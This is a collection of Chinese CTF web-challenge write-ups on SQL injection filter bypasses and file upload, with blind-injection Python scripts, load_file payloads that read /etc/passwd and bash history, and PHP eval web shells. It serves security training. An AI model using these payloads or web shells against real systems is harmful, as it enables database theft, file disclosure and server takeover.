测试后发现过滤了union和select,可双写绕过,单引号也被过滤了,字符串用0x十六进制来表示
可以先查看 下index.php
<?php
define("DIR_PERMITION",time());
include("config.php");
$_POST = d_addslashes($_POST);
$_GET = d_addslashes($_GET);
?>
<html>
<head>
<title>澶х編瑗垮畨</title>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
</head>
<body>
<?php
$file = isset($_GET['file'])?$_GET['file']:"home";
// echo $file;
if(preg_match('/\.\.|^[\s]*\/|^[\s]*php:|filter/i',$file)){
echo "<div class=\"msg error\" id=\"message\">
<i class=\"fa fa-exclamation-triangle\"></i>Attack Detected!</div>";
die();
}
$filename = $file.".php";
if(!include($filename)){
if(!isset($_SESSION['username'])||!isset($_SESSION['userid'])){
header("Location: index.php?file=login");
die();
}
echo '<link rel="stylesheet" href="./css/main.css" style="css" />';
echo '<div id="left"><div class="main"><table align=center cellspacing="0" cellpadding="0" style="border-collapse: collapse;border:0px;">
<tr>
<form method=get action="index.php">
<td align=right style="padding:0px; border:0px; margin:0px;">
<input type=submit name=file value="home" class="side-pan">
</td>
<td align=right style="padding:0px; border:0px; margin:0px;" >
<input type=submit name=file value="download" class="side-pan">
</td>
<td align=right style="padding:0px; border:0px; margin:0px;" >
<input type=submit name=file value="upload" class="side-pan">
</td>
</form></tr></table></div></div>
<div id="right"></div><div align=center>';
echo '<br><br><font size=5>
可以通过这种方式把其他已知的文件源码给读出来
但最后发现其实可以直接读取flag
-1 union select /flag
=
-1 uniunionon selselectect 0x2f666c6167
[NCTF2019]SQLi
考点:
regexp盲注
启动题目,尝试构造一些注入语句,返回hacker,接着尝试半天也没有结果,发现好多东西都被过滤了
想起君子协议,尝试性的打开robots.txt,结果真有东西
继续查看hint.txt
$black_list = "/limit|by|substr|mid|,|admin|benchmark|like|or|char|union|substring|select|greatest|%00|\'|=| |in|<|>|-|\.|\(\)|#|and|if|database|users|where|table|concat|insert|join|having|sleep/i";
If $_POST['passwd'] === admin's password,
Then you will get the flag;
告诉了黑名单以及flag出现的条件, 只要找到登录密码就能拿到flag 并且账号是admin
这里只有regexp没有被过滤,利用regexp注入其实思路和bool盲注一样 一位一位的爆破,不同的是bool盲注是以位为单位 而regexp是以字符串为单位
REGEXP注入
表达式形式:
select (select语句) regexp '正则'Copy
若匹配则返回1,不匹配返回0。例:
select (select username from users where id=1) regexp '^a';
常用regexp正则语句:
regexp '^a' #判断第一个字符串是否为a
regexp '^[a-z]' #判断一个表的第一个字符串是否在a-z中
regexp '^r[a-z]' #判断一个表的第二个字符串是否在a-z中
内敛注释(nc)
因为单引号被过滤,可用""来转义,;%00
在url中也是注释的意思(或者说截断 也就是把最后的单引号也给注释了
select * from users where username='\' and passwd='||/**/passwd/**/regexp/**/\"^a\";%00'
EXP
import requests
import time
import string
url = "http:/xxx.cn/"
str_list = "_" + string.ascii_lowercase + string.ascii_uppercase + string.digits
payload = ''
for n in range(100):
print(n)
for i in str_list:
data = {'username':'\\', 'passwd':'||passwd/**/regexp/**/"^{}";\x00'.format(payload+i)}
res = requests.post(url = url, data = data)
if 'welcome.php' in res.text:
payload += i
print(payload)
break
elif res.status_code == 429:
time.sleep(1)
爆破出秘密,登录即可获得flag
[网鼎杯 2018]Comment
考点:
1、.git泄露
2、二次注入
3、Linux文件基础
打开题目,随便发个贴就跳到了登录界面
已经提示了用户名和密码,利用burp爆破出密码为zhangwei666
没有思路了,扫一下目录看看,发现了.git泄露,利用GitHack下载下来,获得一个write_do.php
<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
header("Location: ./login.php");
die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
break;
case 'comment':
break;
default:
header("Location: ./index.php");
}
}
else{
header("Location: ./index.php");
}
?>
Git源码
根本没什么用。后来才发现这是一段残缺的代码,利用GitHack恢复
先git log --reflog
查看一下可疑文件,
再利用git reset --hard commit
恢复
eg.
git reset --hard af36ba2d86ee43cde7b95db513906975cb8ece03
得到完整源码
<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
header("Location: ./login.php");
die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
$category = addslashes($_POST['category']);
$title = addslashes($_POST['title']);
$content = addslashes($_POST['content']);
$sql = "insert into board
set category = '$category',
title = '$title',
content = '$content'";
$result = mysql_query($sql);
header("Location: ./index.php");
break;
case 'comment':
$bo_id = addslashes($_POST['bo_id']);
$sql = "select category from board where id='$bo_id'";
$result = mysql_query($sql);
$num = mysql_num_rows($result);
if($num>0){
$category = mysql_fetch_array($result)['category'];
$content = addslashes($_POST['content']);
$sql = "insert into comment
set category = '$category',
content = '$content',
bo_id = '$bo_id'";
$result = mysql_query($sql);
}
header("Location: ./comment.php?id=$bo_id");
break;
default:
header("Location: ./index.php");
}
}
else{
header("Location: ./index.php");
}
?>
对其中几个函数做个解释:
addslashes()
在每个双引号(")前添加反斜杠:
eg.
<?php
$str = addslashes('What does "yolo" mean?');
echo($str);
?>
//What does \"yolo\" mean?
简单审计
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
$category = addslashes($_POST['category']);
$title = addslashes($_POST['title']);
$content = addslashes($_POST['content']);
$sql = "insert into board
set category = '$category',
title = '$title',
content = '$content'";
$result = mysql_query($sql);
可以发现当do=write的时候,传入的信息都会进行转义,但是在数据库会自动清除反斜杠
case 'comment':
$bo_id = addslashes($_POST['bo_id']);
$sql = "select category from board where id='$bo_id'";
$result = mysql_query($sql);
$num = mysql_num_rows($result);
if($num>0){
$category = mysql_fetch_array($result)['category'];
$content = addslashes($_POST['content']);
$sql = "insert into comment
set category = '$category',
content = '$content',
bo_id = '$bo_id'";
$result = mysql_query($sql);
}
当do=comment的时候,可发现直接从category这个字段进行查询,导致了二次注入,所以前面那个转义函数根本没用
所以我们可以利用这个sql语句进行注入
$sql = "insert into comment
set category = '$category',
content = '$content',
bo_id = '$bo_id'";
但是首先需要在界面看到sql注入后的回显
可发现content的内容最后会回显在留言那里,所以就通过他来输出sql语句
利用/**/
批量注释
爆库
title=123&category=1',content=database(),/*&content=321
再让content = */#
继续注入,但行不通了,看了下wp
title=123&category=1',content=user(),/*&content=321
得知使用者是root权限,所以,一般flag是不在数据库里的
用load_file()读取本地文件,在linux中/etc/passwd这里存储用户信息
payload-1
title=123&category=1',content=(select load_file('/etc/passwd')),/*&content=321
发现一个www用户,查看bash_history : 保存了当前用户使用过的历史命令,在/home/www/下
payload-2
title=123&category=1',content=(select load_file('/home/www/.bash_history')),/*&content=321
删除了 .DS_Store 文件,而 .DS_Store 文件应该在 /tmp/html 中,而 .DS_Store 文件中,经常会有一些不可见的字符,利用hex函数对其进行16进制转换
payload-3
title=123&category=1',content=(select hex(load_file("/tmp/html/.DS_Store"))),/*&content=321
一堆进制数
解码
flag在flag_8946e1f1ee3e40f.php
payload-4
title=123&category=1',content=(select hex(load_file('/var/www/html/flag_8946e1ff1ee3e40f.php'))),/*&content=321
读取后解码获得flag
[强网杯 2019]随便注
考点:
1、堆叠注入
2、数据库中绕过select查询数据
输入1',报错
加上#号,成功闭合
尝试注入
过滤了select,union查询不可用了,尝试堆叠注入,成功
获得所有库,查表
由于select被过滤了,我们使用desc查看表结构,先看words表
再看表‘1919810931114514',这里要注意一定要将表用反引号给包裹起来,不然他会把这当成单纯的数字而不是一张表
发现flag字段,不过没有select,我们还是无法获取
以下三种思路
One:重命名表
缘由:当输入1' or 1=1#
时,会根据id字段返回words表中的所有数据
那么是不是只需要将words表重命名为其他表,将表‘1919810931114514'重命名为words表
将‘1919810931114514'表中的flag字段重命名为id字段,再次使用1' or 1=1#时回显的就是flag了
payload
#注意要一次执行完哦,而不是一条一条的去执行,否则当words表被更改时,前面的1就查不到任何数据,就会报错
1';
rename table words to la;
rename table `1919810931114514` to words;
alter table words change flag id varchar(50);#
最后再执行1' or 1=1#即可
Tow:使用handler语句
官方语句:
mysql除可使用select查询表中的数据,也可使用handler语句,这条语句使我们能够一行一行的浏览一个表中的数据,不过handler语句并不具备select语句的所有功能。它是mysql专用的语句,并没有包含到SQL标准中。
实例分析:
mysql> select * from tp_user;
+----------+----------+------+--------+
| username | password | id | status |
+----------+----------+------+--------+
| Tom | 123 | 1 | 1 |
| Bob | 1234 | 2 | 2 |
| Dam | 12345 | 3 | 3 |
| Tony | a | 4 | 4 |
| Tony | a | 4 | 4 |
| xi | 123 | NULL | NULL |
+----------+----------+------+--------+
mysql> handler tp_user open; #打开表
mysql> handler tp_user read first; #获取表中第一行的数据
+----------+----------+------+--------+
| username | password | id | status |
+----------+----------+------+--------+
| Tom | 123 | 1 | 1 |
+----------+----------+------+--------+
mysql> handler tp_user read next; #获取表中下一行的数据
+----------+----------+------+--------+
| username | password | id | status |
+----------+----------+------+--------+
| Bob | 1234 | 2 | 2 |
+----------+----------+------+--------+
mysql> handler tp_user close; #关闭表
所以再过滤了select的情况下,我们可以使用handler来构造查询语句
payload:
1';
handler `1919810931114514` open;
handler `1919810931114514` read first;#
Three:预编译
预编译是什么?
SQL 语句的执行处理
1、即时 SQL
一条 SQL 在 DB 接收到最终执行完毕返回,大致的过程如下:
1. 词法和语义解析;
2. 优化 SQL 语句,制定执行计划;
3. 执行并返回结果;
如上,一条 SQL 直接是走流程处理,一次编译,单次运行,此类普通语句被称作 Immediate Statements (即时 SQL)。
2、预处理 SQL
但是,绝大多数情况下,某需求某一条 SQL 语句可能会被反复调用执行,或者每次执行的时候只有个别的值不同(比如 select 的 where 子句值不同,update 的 set 子句值不同,insert 的 values 值不同)。如果每次都需要经过上面的词法语义解析、语句优化、制定执行计划等,则效率就明显不行了。
所谓预编译语句就是将此类 SQL 语句中的值用占位符替代,可以视为将 SQL 语句模板化或者说参数化,一般称这类语句叫Prepared Statements。
预编译语句的优势在于归纳为:一次编译、多次运行,省去了解析优化等过程;此外预编译语句能防止 SQL 注入。
实例分析:
mysql> select*from tp_user where id=1 union select*from tp_user where id=2;
+----------+----------+------+--------+
| username | password | id | status |
+----------+----------+------+--------+
| Tom | 123 | 1 | 1 |
| Bob | 1234 | 2 | 2 |
+----------+----------+------+--------+
mysql> prepare test from 'select*from tp_user where id=? union select*from tp_user where id=?'; #设置预编译语句
Query OK, 0 rows affected (0.00 sec)
Statement prepared
mysql> set @a=1,@b=2; #赋值
Query OK, 0 rows affected (0.00 sec)
mysql> execute test using @a,@b; #释放使用
+----------+----------+------+--------+
| username | password | id | status |
+----------+----------+------+--------+
| Tom | 123 | 1 | 1 |
| Bob | 1234 | 2 | 2 |
+----------+----------+------+--------+
payload:
1';
set @flag=concat('sel','ect * from `1919810931114514`;');
prepare get_flag from @flag;
execute get_flag;
这里提示过滤了set和prepare,但是strstr函数对大小写敏感,所以我们可以用大写绕过
1';
SET @flag=concat('sel','ect * from `1919810931114514`;');
PREPARE get_flag from @flag;
execute get_flag;
[网鼎杯2018]Unfinish
启动题目
login.php,既然要登陆,那么肯定有register.php,随便注册一个登录
用户名处可能存在二次注入,再注册一个账号
用户名处1' and '0
,若存在二次注入,用户名会变成0
过滤了逗号,information等关键字
绕过姿势
在mysql中,+
会被当做运算符
mysql> select '1'+'1abc';
+------------+
| '1'+'1abc' |
+------------+
| 2 |
+------------+
mysql> use wind
Database changed
mysql> select '0'+ascii(substr(database(),1,1));
+-----------------------------------+
| '0'+ascii(substr(database(),1,1)) |
+-----------------------------------+
| 119 |
+-----------------------------------+
1 row in set (0.00 sec)
这样就出来了库名第一位的ascii值
逗号用from for来代替
payload
0'+ascii(substr(database() from 1 for 1))+'0;
脚本
import time
import requests
url="http://cab65443-3d33-462e-baee-9d3ac009092f.node4.buuoj.cn:81/"
# payload="665'+(ascii(substr((select database()) from {} for 1)) >{})+'0" # 爆数据库
payload="665'+(ascii(substr(((select * from flag)) from {} for 1)) >{})+'"
result = ""
i = 0
f=1
while (True):
i = i + 1
head = 32
tail = 127
while (head < tail):
r = requests.session()
mid = (head + tail) >> 1
register = {
"email": 4@q.com0"+str(f),
"username": payload.format(i, mid),
"password": "4"
}
r1 = r.post(url+"register.php",data=register)
if r1.status_code == 429:
time.sleep(5)
else:
login={
"email": "5@q.com0"+str(f),
"password": "5"
}
r2 = r.post(url+"login.php", data=login)
if r2.status_code == 429:
time.sleep(5)
else:
r3=r.post(url+"index.php")
text=r3.text
f += 1
if '666' in text:
head = mid + 1
else:
tail = mid
result += chr(head)
print(result)
直接爆出flag
[CISCN2019 总决赛 Day2 Web1]Easyweb
启动题目
查看robots.txt
有备份的源码,查看网页源码,有个image.php,成功备份
image.php
<?php
include "config.php";
$id=isset($_GET["id"])?$_GET["id"]:"1";
$path=isset($_GET["path"])?$_GET["path"]:"";
$id=addslashes($id);
$path=addslashes($path);
$id=str_replace(array("\\0","%00","\\'","'"),"",$id);
$path=str_replace(array("\\0","%00","\\'","'"),"",$path);
$result=mysqli_query($con,"select * from images where id='{$id}' or path='{$path}'");
$row=mysqli_fetch_array($result,MYSQLI_ASSOC);
$path="./" . $row["path"];
header("Content-Type: image/jpeg");
readfile($path);
简单审计
可传递id和path两个参数,形成sql注入,不过需要先绕过对id和path的过滤
用了str_replace
$id=str_replace(array("\\0","%00","\\'","'"),"",$id);
$path=str_replace(array("\\0","%00","\\'","'"),"",$path);
如果参数中有\
或者'
会被在加上一个\
来转义。因此如果令id为\0
,id会先变成\\0
。之后\0
被替换掉,会剩下一个\
所以传入url/image.php?id=\\0&path= or 1=1 %23
即可绕过
脚本
import requests
url = "url/image.php"
result = ''
for i in range(0, 30):
right = 127
left = 32
mid = int((right + left) >> 1)
while right > left:
payload = " or if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),%d,1))>%d,1,0)#" % (i, mid)
params = {
'id': '\\0',
'path': payload
}
response = requests.get(url, params=params)
if "JFIF" in response.text:
left = mid + 1
else:
right = mid
mid = int((right + left) >> 1)
result += chr(mid)
print(result)
跑完后获得admin的密码
成功登录
限制了不能上传php,可使用phtml绕过,php标签可用短标签绕过
<?=@eval($_POST['shell']);?>
蚁剑连接,根目录下获得flag
[攻防世界]Upload
注册后登录
随便上传一个shell.php
<?php eval(@$_POST['shell']); ?>
抓包改后缀,发现只能上传jpg形式
只回显了一个uid
后面发现是文件名称注入,但是过滤了select和from,双写绕过
爆表
a'+(selselectect CONV(substr(hex(dAtaBase()),1,12),16,10))+'.jpg
CONV函数将16进制转化为10进制,依次获取子串的12位
用substr截取12是因为一旦过长,会用科学计数法表示。
这里必须要先转化为数字,不然没有任何回显
将得到的回显先转化为二进制,再转为字符串,得到部分库名 web_up
下半
a'+(selselectect CONV(substr(hex(dAtaBase()),13,12),16,10))+'.jpg
得到下半load
所以库名web_upload
爆表
a'+(seleselectct+CONV(substr(hex((selselectect TABLE_NAME frfromom information_schema.TABLES where TABLE_SCHEMA = 'web_upload' limit 1,1)),1,12),16,10))+'.jpg
上半hello_
a'+(seleselectct+CONV(substr(hex((selselectect table_name frfromom information_schema.tables where table_schema='web_upload' limit 1,1)),13,12),16,10))+'.jpg
中部flag_i
a'+(seleselectct+CONV(substr(hex((selselectect table_name frfromom information_schema.tables where table_schema='web_upload' limit 1,1)),25,12),16,10))+'.jpg
下半s_here
表名hello_flag_is_here
爆列名
a'+(seleselectct+CONV(substr(hex((seselectlect COLUMN_NAME frfromom information_schema.COLUMNS where TABLE_NAME = 'hello_flag_is_here' limit 0,1)),1,12),16,10))+'.jpg
i_am_f
同理
lag
列名i_am_flag
爆数据
a'+(seleselectct+CONV(substr(hex((selselectect i_am_flag frfromom hello_flag_is_here limit 0,1)),1,12),16,10))+'.jpg
!!@m
同理
Th.e_F !lag
flag:!!_@m_Th.e_F!lag